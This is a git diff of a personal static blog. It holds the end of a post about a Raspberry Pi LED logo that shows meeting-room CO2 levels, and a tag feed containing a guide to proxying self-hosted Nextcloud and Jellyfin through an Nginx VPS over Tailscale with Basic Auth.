    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/scd41/page/1/index.html b/public-clearnet/tags/scd41/page/1/index.html new file mode 100644 index 0000000..cfc070d --- /dev/null +++ b/public-clearnet/tags/scd41/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/scd41/ + \ No newline at end of file diff --git a/public-clearnet/tags/security/index.html b/public-clearnet/tags/security/index.html new file mode 100644 index 0000000..cb5b3bb --- /dev/null +++ b/public-clearnet/tags/security/index.html @@ -0,0 +1,16 @@ +Security | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/security/index.xml b/public-clearnet/tags/security/index.xml new file mode 100644 index 0000000..8624c57 --- /dev/null +++ b/public-clearnet/tags/security/index.xml @@ -0,0 +1,338 @@ +Security on AlipourIm journeyshttps://blog.alipour.eu/tags/security/Recent content in Security on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/security/page/1/index.html b/public-clearnet/tags/security/page/1/index.html new file mode 100644 index 0000000..4e16ad6 --- /dev/null +++ b/public-clearnet/tags/security/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/security/ + \ No newline at end of file diff --git a/public-clearnet/tags/self-hosting/index.html b/public-clearnet/tags/self-hosting/index.html new file mode 100644 index 0000000..1d9f727 --- /dev/null +++ b/public-clearnet/tags/self-hosting/index.html @@ -0,0 +1,19 @@ +Self-Hosting | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

